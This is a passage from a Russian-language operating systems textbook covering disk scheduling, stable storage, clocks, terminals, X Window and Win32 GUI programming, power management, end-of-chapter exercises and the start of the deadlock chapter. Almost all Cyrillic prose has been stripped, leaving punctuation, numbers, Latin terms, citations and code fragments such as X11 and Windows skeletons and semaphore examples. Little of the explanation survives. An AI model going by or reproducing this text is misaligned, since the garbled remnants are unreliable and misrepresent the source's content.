(First-Come, First-Served
(FCFS)),
. .
,
, .
, ,

.
, . , , , 40 . 11.
11,
, 1, 36, 16, 34, 9 12. ,
. . 5.20.

. 5.20. (SSF)

( 11),
, .
FCFS 1, 36 . .
10, 35, 20, 18, 25 3
, 111 .

, .
, . 5.20, ,
,
12, 9, 16, 1, 34 36.
1, 3, 7, 15, 33 2 , 61 .
(Shortest Seek First (SSF))

FCFS .

5.4.

427

, SSF . ,
, . 5.20,
. , 16 8,
1.
13, , 1.
, ,

. , ,
.
.
. .
() . ,
, ,
, , FCFS SSF.
,
.
,
, . ,
,
( , elevator algorithm), : .
.
,
, . , , ,
. , , .
, .
. 5.21 ,
, . 5.20, .
: 12, 16, 34, 36, 9 1, 1, 4, 18,
2, 27 8 , 60 .
, SSF, .
,

.
,
(Teory, 1972),
. ,
, ,
, . , ,

.

428

5.

. 5.21.


, .
. ,
, ,
. ,

.
(
, ).
, ,
.
, ,
, .
, .
,
.
, - . ,
, . 5.3, - 4 . .
, , .
, .
, . , , ,
, ,
- .
, , ,
, ,
(, , ).

5.4.

429

,
. , (
, ).
, , .
, , ,
.
, , , , ,
, .
,
, . ,
, , ,
40- 200-, 39- . ,
,
.
, , .

5.4.4.
. 5,25-
300 . 300 512 , 5000 /, ,
, ECC . 5000 /
. , .


. .
,
.
, , ,
ECC-.
.
:
.
,
.
.
. . 5.22,
, 30 . , 7

430

5.

.
7 (. 5.22, ).
(. 5.22, ). ,
. (
) ,
. ,
. 5.22, , ( 23 ),
,
.

. 5.22. : ; ;

. ,
ECC, .
, , ,
.
,
, .
,
. , . 5.22, ,
, .
, . 5.22, , ,
.
, :
.
,
. ,
,
.
, .
, . 5.22, ,
7- 29- .
,

5.4.

431

. ,
. , (, , ).
: . , ,
,
. ,
,
.
, , ,
,
. ,

.
.
, . .
. ,

. ,
.

, , 19801990- , ,
,
recalibrate,

. , ,
1.
, , , , ,
, . , recalibrate ,
.
,
, , . ,
, .
,
.
,
. , : , .
1

, ,
. . .

432

5.

( )
Blu-ray-, ,
.
, . , ,
AV- (Audio Visual disks), .
,
(Jeroen Domburg), . , (!) ARM-
Linux. , ,
.
, , .
, ,
.

5.4.5.
, .
. .
RAID-. ,
. , .
,
, .
. ,
. , :
, . (stable storage)
(Lampson and Sturgis, 1979).
, . .
.
, ( ) ,
ECC. ,
, , , 16- ECC, 512- ,
24096 2144
ECC1. , , ECC
1

, ( ) 16 2128 , , ECC
, 9 , 8, . . .

5.4.

433

, ,
ECC. , .
, , 16-
ECC, 2144, , ,
.
,
. ,
,
() (, ) , .
,
. ,
ECC.
,
, .
,
,
. .
, . .
, .
, :
1. . 1, , , .
, n ,
. n

, . 1
, 2,
, , .
,
.
2. .
1. ECC,
n . ECC, 2. ,
, , ,
.
3. .
, . , .

434

5.

ECC,
. , , 1 2.

, ,
. ? , .
. 5.23 .

. 5.23.

. 5.23,
. ,
, .
. 5.23, 1,
. 1 2.
, .
. 5.23, 1,
2. : 1 2. .
. 5.23, . 5.23, :
.
.
, . 5.23, , , , ,
, .
. ,
, . ,
,
.

5.5.

435

-, .
, ,
. , , 1.
( ), , , .
,
.
,
. , , 1.
,
, , , . .
, : -
1 , .
. 2.
,
. , . ,
, .
, . ,

.
. , . , .
,
.

5.5.
( )
. ,

.
, , , ,
, . , 1

, , ,
, . . .

436

5.

: ,
.

5.5.1.
,
, . 110 220
50 60 .
, .
(. 5.24):
, . ,
, ,
.
,
.
, . , .
, .

. 5.24.

.
.
, , .

,
.
(clock ticks).
, .
500 2 . -

5.5.

437

32- 2 8,6 .
,
(, ,
, ).
, , ,
,
. , ,
.
. ,
,
. , 12
UTC (Universal Coordinated Time) (
Greenwich Mean Time) 1 1970 ,
UNIX, - .
Windows 1 1980 .
. .

5.5.2.

. , , .
,
:
1. .
2. .
3. .
4. alarm, .
5.
.
6. , .
(
) . ,
,
. , , . 60 , 32-
. , 1 1970 32 .
. 64- , ,

438

5.

. ,
, . 232 136 , XXII .
,
, - .

. ,
, , . . 5.25.

. 5.25.


.
.
. ,
.
.
, , .
,
. ,
.
, , , ,
.
. ,
, .
, ,
, -

5.5.

439

,
. .
, .
, , - .
, ,
,
.
, , ,
.
,
. ,
, .
, ,
, ,
.
, . ,
, .
, ,

(. 5.26). ,
. 4203, 4207, 4213, 4215 4216 .

. 5.26.

. 5.26 3 . .
, , ,
.
, ,
.
, ,
, ,
.
,
.

440

5.

.
, (
) , . ,
.
, .
, , ,
.
, , .
, , , ,
. , ,
,
, .
. ,
,
.

. ,
, , . ,
, , , ,
( ),
. .
.

5.5.3.
,

. , , .
,
.
, , .
, ,
,
. (Aron and Druschel, 1999).
.
- , , :
. , , .

, TLB .

5.5.

441


. , ,

.
.
, 70-
. , - :
(PSW) PSW. , , TLB . , ,
. ,
, , , .
. ,
- , ,
, . ,
(, ), ,
.
, .
.

, - . :
;
TLB;
;
-;
.
, , , -, -, ,
, ,
, UNIX.
2 18 ,
. , 10 ,
.
10 , ,
35 % .
, ,
TLB , . ,

442

5.

, ,
1 . 1000 , , -,
.

5.6. :
, ,

( ).
, .

, ,
.
. ,
( - ).

5.6.1.
(
), .
, , (
USB). , , .
, ,
-, .
.
,
(
). .
. , ,
, .
, .
.


, -, ,
- ( ASCII).
128 ,
. 0, , 1,
. ( ) . ,

5.6. : , ,

443

.
.
, A, - (30) -. , , ,
, , CTRL+A, ALT+A,
CTRL+ALT+A - . ,
, (, SHIFT),
. ,
: SHIFT, A, A, SHIFT A
. : SHIFT, A,
SHIFT, A A .
, . ,
, ,
, . ,
.
.

. ASCII-. (
- , 1.)
, emacs,
. , dste date, ,
(backspace) ate, ,
11 ASCII-:
dsteate CR

. , , .
:
, . -, -.
. - POSIX .
,
. POSIX-
,
.
1

.
.
- ,
. . .

444

5.

( ), , , ,
, .
, , ,
. , , .
, .
,
( , Windows)
, (, ) . , . ,
,
, , .
,
, .
(echoing)1.
, , -
( , ). ,
, , .
, 80 80- ( ).
. 80 ,
80- .
.
, ,
, , .
.
,
, , .
. ,
, , .
UNIX ENTER
, Windows ,
.
( UNIX),
( ENTER)
. 1

. . .

5.6. : , ,

445

( Windows),

. ,
, .
, ,
, ,
/
,
, .

. . 5.4 ,
POSIX. , , , ; ,
, .
5.4. ,

POSIX

CTRL+H

ERASE

CTRL+U

KILL

CTRL+V

LNEXT

CTRL+S

STOP

CTRL+Q

START

DEL

INTR

(SIGINT)

CTRL+\

QUIT

(SIGQUIT)

CTRL+D

EOF

CTRL+M

CR

()

CTRL+J

NL

()

ERASE . Backspace (CTRL+H).


, .
,
: , . , , .
, ,
, .
, ,
.
.
. , .
KILL . ,

,

446

5.

. , KILL
. ERASE,
. ,
.
ERASE KILL .
- (escape character) LNEXT1. UNIX
CTRL+V. , UNIX- KILL @,
linda@cs.washington.edu. , , KILL @,
@ .
CTRL+V @. CTRL+V
CTRL+V. CTRL+V, , ,
. LNEXT
.
, . UNIX STOP
(CTRL+S) START (CTRL+Q) . ,
.
, .
, . .
-
. INTR (DEL)
QUIT (CTRL+\). UNIX DEL SIGINT , . DEL
, UNIX . , , DEL
, .
, , ,
.
CTRL+\ DEL,
, SIGQUIT, ,
.

, . INTR CTRL+C, DEL, DEL
.
, EOF (CTRL+D), UNIX
, ,
1

, LNEXT . . .

5.6. : , ,

447

. CTRL+D ,
,
.


, , , , .
,
.
, , . -
, Y, -
, X.
,
. ,
,
.
, .
,
. 0,1 (
). .
,
. , .
, ,
, , , ,
Bluetooth.
: x, y .
x .
y .
.
. 3 . 40 ,
.
, ,
. ,
.

. ( ) ( ),

448

5.

. ,
.

5.6.2.
.
, .
,
.


,
, .
, .
, .

, .

, , , . . -.
ASCII-
25 80 ,
-. , .
, Berkeley UNIX,
, termcap.
, (, ).
, ,
-, , .
, ,
termcap. UNIX- - ,
.

-, ANSI.
. 5.5.
5.5. - ANSI, . ESC ASCII- (0x1B),
n, m s

ESC [ n A

ESC [ n B

ESC [ n C

5.6. : , ,

449

ESC [ n D

ESC [ m; n H

(m, n)

ESC [ s J

(0 , 1 , 2 )

ESC [ s K

(0 , 1 , 2 )

ESC [ n L

ESC [ n M

ESC [ n P

ESC [ n @

ESC [ n m

n (0 , 4 , 5 , 7 )

ESC M

, -
. , , 3, 2 4.

-:
ESC [ 3 ; 1 H ESC [ 0 K ESC [ 1 M

( ). ,
, ,
, , . ,
, , . . - .
.

X Window
UNIX-
X Window System ( X), 1980-
(MIT) Athena.
.
,
,
.

. Linux- Gnome KDE
X-.

450

5.

X- , ,
, X-. - ,
( ), ,
. (, ), X-.
X- , ,
.
, X-
, X- , ,
X- ,
, . -
. (
) , , , .
, X- X-
, . 5.27. Gnome KDE - ,
X-, X- (
TCP- , ).

. 5.27. X Window System, MIT

X Window System UNIX ( )


, X-
X- X- (. . 5.27).

5.6. : , ,

451

, ,
100
. .
X- .
.
. Xlib,
X-. X Window System
,
. ,
, ,
, , Xlib.
X-
Intrinsics.
,
, (widgets).
( ). Motif (. . 5.27) Common Desktop Environment, Solaris
UNIX-. Motif, Xlib.
Gnome KDE , , . 5.27,
. Gnome
GTK+, KDE Qt.
, X-.
.
X- . , .
X-, , .
X-, .
,
, X- .
UNIX, Solaris, BSD, AIX,
Linux . .,
.
. , Windows
GDI , , ,
.
X- Xlib. X-
X-,
,
X-. X- ,
-

452

5.

.
TCP/IP.
:
;
;
, ;
.

, .
, ,
. . ,
, .
Windows, X- .
,
- , ,
, . 32 ,
, 31 . ,
,
. ,
, . Windows,
,
.
Windows, , . ,
.
X- .
, .
. , .

. , , (),
( ), .
Windows.
X- 5.1.
, . X-,
XOpenDisplay. ,
win.
.
, .

5.6. : , ,

453

5.2. X Window
#include <X11/Xlib.h>
#include <X11/Xutil.h>
main(int argc, char *argv[])
{
Display disp;
Window win;
GC gc;
*/
XEvent event;
int running = 1;

/* */
/* */
/*
/* */

disp = XOpenDisplay("display name");


win = XCreateSimpleWindow(disp, ... );

/* X- */
/*
*/
XSetStandardProperties(disp, ...);
/* */
gc = XCreateGC(disp, win, 0, 0);
/*
*/
XSelectInput(disp, win, ButtonPressMask | KeyPressMask | ExposureMask);
XMapRaised(disp, win);
/* ;
Expose */
while (running) {
XNextEvent(disp, &event);
/* */
switch (event.type) {
case Expose: ...; break;
/* */
case ButtonPress: ...; break;
/* */
case Keypress: ...; break;
/* */
}
}
XFreeGC(disp, gc);
XDestroyWindow(disp, win);
XCloseDisplay(disp);

/*
*/
/*
*/
/* */

XCreateGC , .
. XSelectInput,
X-, .
,
.
. , XMapRaised
, .
.
Windows. , .
- ,

454

5.

running 0 . , .
,
. ,
, .
X- xterm.
VT102, -. , vi emacs,
, termcap,
- .



(Graphical User Interface (GUI)). GUI .
GUI (Douglas Engelbart) . Xerox PARC. Apple
(Steve Jobs) PARC, GUI Xerox
: ! . GUI
, Apple Lisa. - Lisa , , Macintosh,
.
Microsoft Macintosh,
Microsoft Office,
Apple ,
. (Microsoft Office, MSDOS, MS-DOS,
Office.) Macintosh Apple
- (Jean-Louis Gassee) ,
. Microsoft .
Windows. Windows , Apple Microsoft , ,
, Windows Macintosh .
Apple,
Macintosh, Apple, , Windows .
, GUI
, WIMP.
: Windows, Icons, Menus Pointing device.
, . , - .
, .
, , ,
.

5.6. : , ,

455

GUI
, UNIX,
, Windows. GUI -
,
, .
, , , . 32-
64- 4 ,
.

. ( )
1280 960, 1600 1200 1920 1080, 2560 1600 3840 2160.
4:3,
NTSC PAL
,
. .
1920 1800 ( full HD) , 24
, 6,2
, 256
.
75 ,
445 /.
GUI- . Windows GUI 1500 (, Petzold,
2013; Simon, 1997; Rector and Newcomer, 1997). ,
. Win32 API,
32- Windows.
GUI- , .
, .
( ) .
, , c , . . 5.28. ,
Windows y , ,
.
, ,
, (
). , , , ,
Windows-. ,

,
.

456

5.

. 5.28. , (200, 100) XGA-

Windows- . ,
, Windows , .
, ,
.
. Windows
, . UNIX- ,
. X- .
, , 5.2.
Windows.
, .
windows.h, ,
, , ,
Windows-.

5.6. : , ,

457

5.3. Windows-
#include <windows.h>
int WINAPI WinMain(HINSTANCE h, HINSTANCE hprev, char *szCmd, int iCmdShow)
{
WNDCLASS wndclass;
/* */
MSG msg;
/* */
HWND hwnd;
/* */
/* wndclass */
wndclass.lpfnWndProc = WndProc;
/* ,
, */
wndclass.lpszClassName = " ";
/* */
wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION); /* */
wndclass.hCursor = LoadCursor(NULL, IDC_ARROW);
/*
*/
RegisterClass(&wndclass);
/* Windows wndclass */
hwnd = CreateWindow ( ... )
/* */
ShowWindow(hwnd, iCmdShow);
/* */
UpdateWindow(hwnd);
/* */
while (GetMessage(&msg, NULL, 0, 0)) { /*
*/
TranslateMessage(&msg);
/* */
DispatchMessage(&msg);
/* msg
*/
}
return(msg.wParam);
}
long CALLBACK WndProc(HWND hwnd, UINT message, UINT wParam, long lParam)
{
/* . */
switch (message) {
case WM_CREATE: ... ; return ... ;
case WM_PAINT: ... ; return ... ;

/* */
/*
*/
/* */

case WM_DESTROY: ... ; return ... ;


}
return(DefWindowProc(hwnd, message, wParam, lParam));

/* */

, .
WINAPI , .
, h, . Win32
- , (,
, ), ,
, , .
,
h. -

458

5.

. , szCmd,
, , , ,
. , iCmdShow, ,
,
( ).
Microsoft
. ,
. (J. Lukasiewicz) .
, Microsoft,
(Charles Simonyi).
. : c (
character), w ( word, 16-
), i (32- integer), l ( long,
32- ), s ( string), sz (, zero), p ( pointer), fn ( function) h ( handle). , , szCmd ,
, iCmdShow . ,
,
Windows. UNIX .
,
. 5.2 wndclass.
WNDCLASS 10 ,
.
. lpfnWndProc,
( 32-) ,
, .
,
.
wndclass RegisterClass
Windows. , Windows , ,
. , CreateWindow,
.
.
,
, ,
Windows, WndProc
. ? , ,
, .
WndProc, , .
CALLBACK, WINAPI, .

5.6. : , ,

459

. .
,
.
WM_CREATE WM_DESTROY 1. , ,
, .
, WM_PAINT, . ,
. , ,
Windows , , ,
, . , , , , . .
. , Windows
, WM_PAINT. ,
, ,
.
Windows - . , . ,
. -, ,
Windows WndProc.
. Windows ,
,
, .
.
.
, DefWindowProc WndProc, .
Windows , ,
.
. ,
, .
, UNIX.
, ,
GDI (Graphics Device
Interface). ,
.
, (device context),
,
1

, .
, , ,
. . .

460

5.

, , , . .
GDI ,
.
.
:
hdc = GetDC(hwnd);
TextOut(hdc, x, y, psText, iLength);
ReleaseDC(hwnd, hdc);

hdc.

. (x, y) ,
. , ,
. , hdc
UNIX. , ReleaseDC
( hdc, ).
, , Windows
.
, hdc
,
. .
.
GetWindowDC,
.
-. Windows ,
.
GDI . . GDI,
, .
GDI , ,
( , ), GDI-, ,
, . , GDI-, .
:
, ,
, .
, .
Rectangle(hdc, xleft, ytop, xright, ybottom);

, (xleft, ytop) (xright, ybottom) .


,
Rectangle(hdc, 2, 1, 6, 4);

5.6. : , ,

461

, . 5.29. ,
, . GDI- -
.

. 5.29. , Rectangle.


GDI- .
,
(
). . GDI- ,
- . Windows
(metafile).
Windows .wmf.
Windows- ( ) Windows.
. Windows
.wmf-. .
, ,
. , .
. ,

.
(bitmap). Windows .
.
-
. .

462

5.


BitBlt. :
BitBlt(dsthdc, dx, dy, wid, ht, srchdc, sx, sy, rasterop);


( ).
. .
. , , (0, 0) .
.
BitBlt(hdc2, 1, 2, 5, 7, hdc1, 2, 2, SRCCOPY);

. 5.30. , 5 7 A, .

. 5.30. BitBlt:
;

BitBlt , .
. ,
, . , , .
, . , 8 12, 640 480 .
1200 , 10 200 13 200 ,
(8 ) 8/1200 , 0,17 .

- .
Windows , , (Device Independent Bitmap (DIB)). ,
, .bmp.
, , -

5.6. : , ,

463

.
.

, Windows 3.1,
BitBlt.
, , ,
, .
. ,
A 10 12 .
4 120 ,
. .
TrueType,
, . TrueType .
(0, 0).
.
. ,
TrueType , ,
.
,
(,
).
.
. 5.31.

. 5.31.

,
, . ,

464

5.

,
, , , ,
. , .
, T , ,
, - .
.


. ( ) , . , , ,
, . , ,
, .
.
: .
. .
.
, , . 1965
. . (E. A. Johnson)
,
.
, .
.
, , ,
, .
, ITO (Indium Tin Oxide )
. , ,
, ITO. ,
. , . ITO .


.
, ,
ITO. ITO
. ,
,
.

5.6. : , ,

465

.
, , ,
, . ,
.
. ,
(x, y).
, , : , , ,
.
, . , ,
. ,
. ,
(, ) , ,
, , ,
. , ,
, 10 .
,
, .

. (, , ) , ,
, . , (3, 3) (8, 8).
x = 3 x = 8
y = 3 y = 8. ,
(3, 8) (8, 3),
(3, 3), (8, 3), (8, 8)
(3, 8). ,
, .
. ,
(x, y), .
,
, WIMP-
.
.
, , ,
.
(-) . ,
,
, .

466

5.

5.7.
. ,
ENIAC, ,
, .
, , ,
. ,
.

,
. , ,
, . , ,
.
.
,
.
,
.

, . ,
. .
. , 256 ,
256 , ,
. , 64 ,
, -
, ,
- . .
, , , ,
. , ,
. ,
, .
, Gmail, Hotmail Yahoo,
. , ,
,

5.8.

467

. , ,
, -, ,
.
, , ,
,
.
(dumb terminals),
(thin clients), .
X- , X- , , ,
,
- .

,
. , . Chromebook. Google,
, .
ChromeOS, Linux, - Chrome,
, , .
-
(Web Apps), Chromebook . ,
Linux Chrome, .

5.8.
ENIAC 18 000 140 . .
,
. ,
.
.
200 ( 85 %, 15 % ). 100
, 20 000
. 20
. ,
10 .
10 (
, ) , .
, ,
, ,

468

5.

. ,
, . , ,
, , ,
. , 18
( ), - , .
,
. , ,
.
. , ,
(low-swing)
. , Venkatachalam and Franz, 2005.
. ,
( -),
.
,
. ,
.

5.8.1.
: .
( AAA, AA D) ,
.
( )
. - , - ,
,
. - ,
,
1.
1

, (
)
, .
( , ,
), , ( )
, . . .

5.8.

469

,
, , : , , .
, .
,
, .
,
, .
, ,
. , ,
.
, ,
.
.
,
.
, .
, , ,
, .
, ,
.
.
,
. . ,
, : ?

? ?
? - ?
? ,
,
.
, ,
. (Li et al., 1994) ,
. 5.7. (Lorch and Smith, 1998)
, . 5.7. (Weiser et al.,
1994) , .
, : ,
, .
,
, - , , , , , ,

470

5.

. , , GPS.
, , ,
.
5.6.

(1994), %

(1998), %

68

39

12

18

20

12

0,5

22

5.8.2.
.
, .

,
. , ,
.
, , ,
. ,
. ,
.

, ,
.
.
, . ,
. , , ,
( ,
, ). ,
( )
- .
(Flinn and Satyanarayanan, 2004). , -

5.8.

471

. . 5.32 16 ,
. 2 (. 5.32, ),
. 12
, 3/4 .

. 5.32. : 2 ;
1 ,

1, 2 , 1 . 1 9 ,
. ,
1, ,
(. 5.32, ). 9/16 4/16,
, .
(, , ,
).


.
. , ,
.
. , , ,
, .
, .
Td,
, 5 15 . ,
t. t < Td,
,
. t > Td, .

472

5.

(, ),
.
.

. ,
, . ,
, ,
.
,
.
, ,
,
, .
, .
,
. ,
, ,
.


.

, . ,
, .
-
.

, .
, ,
( ).
, ,
.
, ,
40 ,
. ,
40 x , x/4 .
20 , 20 ,
20 ,
x/2 .
,
x/4 .

5.8.

473


. 5.33. ,
, . 5.33, , .

. 5.33. : ;

, ,
, 100 ,

. ,
.
,
. (Hruby et al., 2013)
,
. , . , ,
,
, .
, .

. ,
,
, .
, .
, .
. ,
, ,
, .
,
( ),
- . , , , .

474

5.

.
-, , -.
.
, .

.
, , .
. ,
, . , , ,
, .
, (, ) , ,
, .


(, )
.
. ,
,
. , ,
, , ,
.

(Kravets and Krishnan, 1998). , ,
. ,
.
.
, ,
, .
.
, ,
. , .
? .
. ? -
, .

5.8.

475

, .
.
, ,
802.11 (WiFi). 802.11 , ,
, (beacon frame).
.
, .
,
.



, . - . ,
.
,
.
.
. , .
, .
,
,
. .
. , ,
,
.


, , . .
, .
, , ,
, , ,
. . , .
.
.
, ,
, .

476

5.

,
, , , , .


, ACPI (Advanced Configuration and Power
Interface
).
, .
(plug and play),
, ,
.
, (,
). . ,

,
.

5.8.2.
,
.
: ,
( ,
, ).
, . , :
, , , .
: , ?
(Flinn and Satyanarayanan, 2004). , ,
. .
.
, .
() ,
, , .
.
,
PowerScope, . ,
-

5.9. -

477

. ,
, , , . PowerScope

. ,
.
. , ,
.
, , . 30 .
- .
,
. ,
. 30 % .
.
. ,
.
,
.
. 35 %.
,
.
,
, .
35 %.
JPEG- -.
JPEG ,
. 9 %.
, , ,
, .

5.9.
-
- .
, .
-. ,
Streamline -,
, ,
, TLB (DeBruijn
et al., 2011). Beltway Buffers, , ,
(DeBruijn and Bos, 2008). Streamline

478

5.

. -, Megapipe (Han et al., 2012), ,


.
, , .
POSIX,
- .
. .
. (Gonzalez-Ferez et al., 2012; Prabhakar et al., 2013; Zhang et al., 2012b),
(Krish et al., 2013;
Nijim et al., 2013; Zhang et al., 2012a).
(Jin et al., 2013; Ling et al., 2012).
.
, RAID (Chen et al., 2013; Moon and Reddy, 2013; Timcenko
and Djordjevic, 2013), (Dayan et al., 2013; Kim et
al., 2013; Luo et al., 2013).
(Li et al., 2013b; Shen and Qi, 2013).
-,
. , -,
. (Hewage and Voigt, 2013; Hoque et al., 2013), (Haitjema, 2013; Liu et al., 2103; Sun et al., 2013),
(Gupta, 2013; Hemkumar and Vinaykumar, 2012; Lai and Tang, 2013)
(Han et al., 2012; Soorty, 2012).
, , ,
, , , .

(Hruby 2013), (Holmbacka et
al., 2013), (Dutta et al., 2013),

(Weissel, 2012), (Kabriand
Seret, 2009) (Wei et al., 2010).
.
(Fetzer and Knauth,
2012; Schwartz et al., 2012; Wang et al., 2013b; Yuan et al., 2012).
(Albath et al., 2013; Mikhaylov and Tervonen, 2013; Rasaneh
and Banirostam, 2013; Severini et al., 2012).

5.10.

479

, .
1000 , .
(Tsafir et al., 2005).
- ,
.
(, ),

(Blackham et al., 2012).
-
. . Symdrive
(Renzelmann et al., 2012).
(Rhyzik et al., 2009)

.
,
, (Hocking, 2011; Tuan-Anh et al., 2013). ,
,
- (Dawson-Haggerty et al., 2013).

5.10.
- ,
, . - . -
. -, -,

, . -, -, ,
- , ,
-. -,
DMA,
, , .
- : , , -,
-, , .
. , ,
.
: , RAID-, -
.

480

5.


, .
,
.
,
, .
- , ,
-,
.
, .
-
.
UNIX- X Window System . ,
, , X-,
.
GUI, WIMP: Window , Icons , Menus Pointing device . , GUI-,
, , . , ,
,
. UNIX- GUI-
X-.
, .
, , -
, -
, . .
,
.

1. , , .
, . 1.6?
2. , . 5.1, 802.11g ?
.
3. . 5.2, -, ,

481

-,
,
-. , , :
, -.
?
4. .
5. DMA- . 32-
40 . .
, ?
6. , DMA
. ,
t1 , t2
(t1 >> t2).
DMA, 1000 :
) ;
) ?
,
,
.
7. DMA- DMA-,
.
? ,
.
8. ,
5 . ,
32
.
?
9. , .
,

. - ? .
10. . 5.7, ,
.
? , , , .
, ?

482

5.

11. (. . 1.7, ).
,
, , .
. , , .
,
. ,
.
? .
12. 50 80 .
, 6 ,
, .
,
,
50 ?
13. ,
.
14. - :
) , ;
) ;
) ;
) ASCII- .
15. .
, .
.
. , 10 /.
1 . ,

. , , . , 1 ,
1024 ( ),
1 , ,
? , ,
. , , , .
16. , , , (
)?
17.
7200 / 1 ?
200 512 .

483

18. 7200 /. 500 512 . ?


19. ,
.
20. RAID 3
. RAID
2? , ,
.
21. RAID , . , p.
RAID-, k ?
22. RAID- 0- 5- , ,
.
23. ?
24. , ?
:
, .
25. ?
26.
, , ,
? .
27. ,

? .
28. , 16 400 .
100- ,
160, 200, 240 280 . ,
512 , 1 ,
7200 /. :
) ;
) ;
) .
29. 5- ,
10 000 .
.
, , ? - ?

484

5.

30. ,
Pentium- , .
?
31. : 10, 22, 20, 2, 40, 6 38.
6 .
:
) ;
) ;
) ( ).
20.
32.
.
, ?
33. - , , UNIX .
, ,

. , 10 000
, . , ,
. ?
34. , , . ,
, , ?

? .
35. ,
( , ),
. ,
? .
36.
, , , ECC.
, . 5.23,
?
37.
2 ( ). -

485

60 .
?
38. ,
.
500 , :
) 1 ( )?
) 100 ?
39.
, . 5.26. ,
5000
: 5008, 5012, 5015, 5029 5037. ,
5000, 5005 5013. , ()
5017 5033.
, ,
5023.
40. UNIX 32-
, .
( )? ,
?
41. 1600 1200 .
( )
, . 80 80 ( 6480 )
8 16 ,
50
? 80 , ?
5 . ?
42. DEL (SIGINT)
. ?
43. 5,
7- 12- . ,
5, ANSI - , ?
44. ,
20 /. 0,1 ,
3 , , ?
45. , . ,
.
,
24- ?

486

5.


BitBlt. , -
16 24 RGB.
1. ?
2. 100 , ,
?
46. , 10 ,

80 25 , ?
1024 768
24 ?
47. 5.2 RegisterClass. X Window,
5.1, , - .
?
48. Windows GDI
Rectangle(hdc, xleft, ytop, xright, ybottom);

(hdc), , ?
.
49. -, 400 160 ,
10 . Fast Ethernet
100 / ?
50. ,
1 /. -
?
: , , , .
51. ?
52. V
V/n, 1/n2 ,
1/n . ,
1 ,
100 . n
? , .
53.
. UNIX- ,
X Window System. ,
,

487

, .
?
54. , .
.
55. , .
,
0 999,
( ), .
56. ,
. (S <int>, T, E <int>, P): S <int> , <int>; T
; E <int> , <int>; P
,
.
.

6.

, . ,
.
, .
,
.
.
,
. , , Blu-ray-. A . B -:
Blu-ray- . A Blu-ray-,
, B. ,
, B .
. (), (deadlock).
. ,
, . , , Blu-ray- DVD,
,
, .
(, ), ,
.
, .
. ,
, . A R1, B R2,
,
. ,
, .
, , .

6.1.

489

,
, . .
Operating Systems Review,
(Newton, 1979; Zobel, 1983).
, 1980 ,
.

6.1.
, .
, , . . , ,
, .
(, Blu-ray-) - (, ). ,
. , Blu-ray-.
,
. , , ,
,
.

6.1.1.
: . , ,
. . ,
1 , 1 ,
- . A , ,
. ,
.
B, , , . ,
A , B
, .
, B,
, A. A , . .
,
. ,
Blu-ray-, ,

490

6.

Blu-ray-. Blu-ray-
.
. , , . ,
, -
.
, .

.
.
:
1. .
2. .
3. .
, . ,
.
, , ,
, .
, ,
: , , .
,
, .
,
.
. request,
. , , ,
.
open. ,
,
.

6.1.2.
, , , .
, , .

6.1.

491

, 1.
.
down ,
, , up . 6.1, .
6.1. : ;

typedef int semaphore;


semaphore resource_1;

typedef int semaphore;


semaphore resource_1;
semaphore resource_2;

void process_A(void) {
down(&resource_1);
use_resource_1( );
up(&resource_1);
}

void process_A(void) {
down(&resource_1);
down(&resource_2);
use_both_resources( );
up(&resource_2);
up(&resource_1);
}

. , 6.1, . ,
.
. , . , ,
, .
A B . 6.2 :
; . , .
6.2. : ;

typedef int semaphore;
semaphore resource_1;
semaphore resource_2;

semaphore resource_1;
semaphore resource_2;

void process_A(void) {
down(&resource_1);
down(&resource_2);
use_both_resources( );
up(&resource_2);
up(&resource_1);
}

void process_A(void) {
down(&resource_1);
down(&resource_2);
use_both_resources( );
up(&resource_2);
up(&resource_1);
}

void process_B(void) {
down(&resource_1);
down(&resource_2);

void process_B(void){
down(&resource_2);
down(&resource_1);

492

6.
use_both_resources( );
up(&resource_2);
up(&resource_1);

use_both_resources( );
up(&resource_1);
up(&resource_2);
}

6.2, ,
.
. 1 ,
, .
6.2, . ,
,
. , A 1, B
2.
. . , .
, - : , ,
, .
, .
.

6.2.
.
,
,
.
,
- , , , . , ,
, , .
,
, , ,
, .
, ,
- ,
. , ,
, ,
. ,
- , .

. , .
. , , -

6.2.

493

. ,
.

6.2.1.

(Coffman et al., 1971) , :


1. .
, .
2. . ,
, .
3. . .
, .
4. . ,
, .

. , .
, , .
?
? ?
? , .

6.2.2.
(Holt, 1972) , . : ,
, , . ,
() (), ,
,
. . 6.1, R A.
, , ,
. . 6.1, B
S. . 6.1, :
C T,
D. D T,
U, C. . ,
, (,
).
: CTDUC.

494

6.

. 6.1. : a ; ;

, . ,
, A, B C, , R, S T.
, , . 6.2, .
, A
, , B
, , C.
(
), .
,
- . ,
,
-.
.
, -,
, , ,
,
.
, -, ,
. ,
. 6.2, . ,
, . 6.2, .
4 A, . 6.2, , S. B C ,
,
. 6.2, .
,
- . , ,
, (
) , . . 6.2, , B,
S. A C,
,

6.2.

. 6.2.

495

496

6.

. 6.2, , , . 6.2, .
, . 6.2, , .
, . 6.2, , B
S, A , C .
B T, .
B , C .
, . ,
, ,
/ .

- . , ,
, , , .
,
,
(Holt, 1972).
:
1. . , , .
2. . , .
3. .
4. ,
.
.

6.3.
:
, 1.
-. ,
. ,
, .
, -
,

.

- .
60 /, , ,
, . . .

6.4.

497

,
, , open, , Blu-ray- ,
- .
, . .
Blu-ray-, ,
, .
.

6.4.

.
. ,
,
.
, .

6.4.1.

,
. , Blu-ray-,
, . , ,
. .
(. 6.1). , , . ,
, . , ,
.
,
A G R W. ,
:
1. A R S.
2. B , T.
3. C , S.
4. D U S T.
5. E T V.
6. F W S.
7. G V U.

498

6.

: , , ?
, (. 6.3, ).
, .
. 6.3, . , D, E G .
A, C F , S
,
.
. (, ,
, D, .)

. 6.3. ;

, .
. ,
,
. , L, , .
, ,
.
:
1. N, , ,
N .
2. () L, .
3. L, , L . , ,
( L), .
4. , - . , 5,
, 6.

6.4.

499

5. .
, 3.
6. , ,
, .
. , ,
, . , 3.
,
, .
, , .
- ,
. ,
, , .
, , ,
.
, , . 6.3, . ,
,
R, A, B, C, S, D, T, E, F . .
, .
R L . R
, A L, L = [R, A]. A S, L = [R, A, S]. S
, , ,
A. A
, R, .
, A
L . ,
B. B , D; : L = [B, T, E, V, G, U,
D]. . S, D. T L
[B, T, E, V, G, U, D, T], .
.
(Even, 1979).
.

6.4.2.

- , .
,
n , P1 Pn. m , 1 1, 2 2,

500

6.

Ei i ( 1 i m). E .
.
, 1 , E1 = 2
, .
- .
A , Ai i,
( ). , A1 0.
: C R
. i- C ,
Pi. , Cij
j, i. Rij
j, Pi.
. 6.4.

. 6.4. ,

. , .
,

, j
, .
. ,
A B A B ,
A B.
: A B , Ai Bi 1 i m.
.
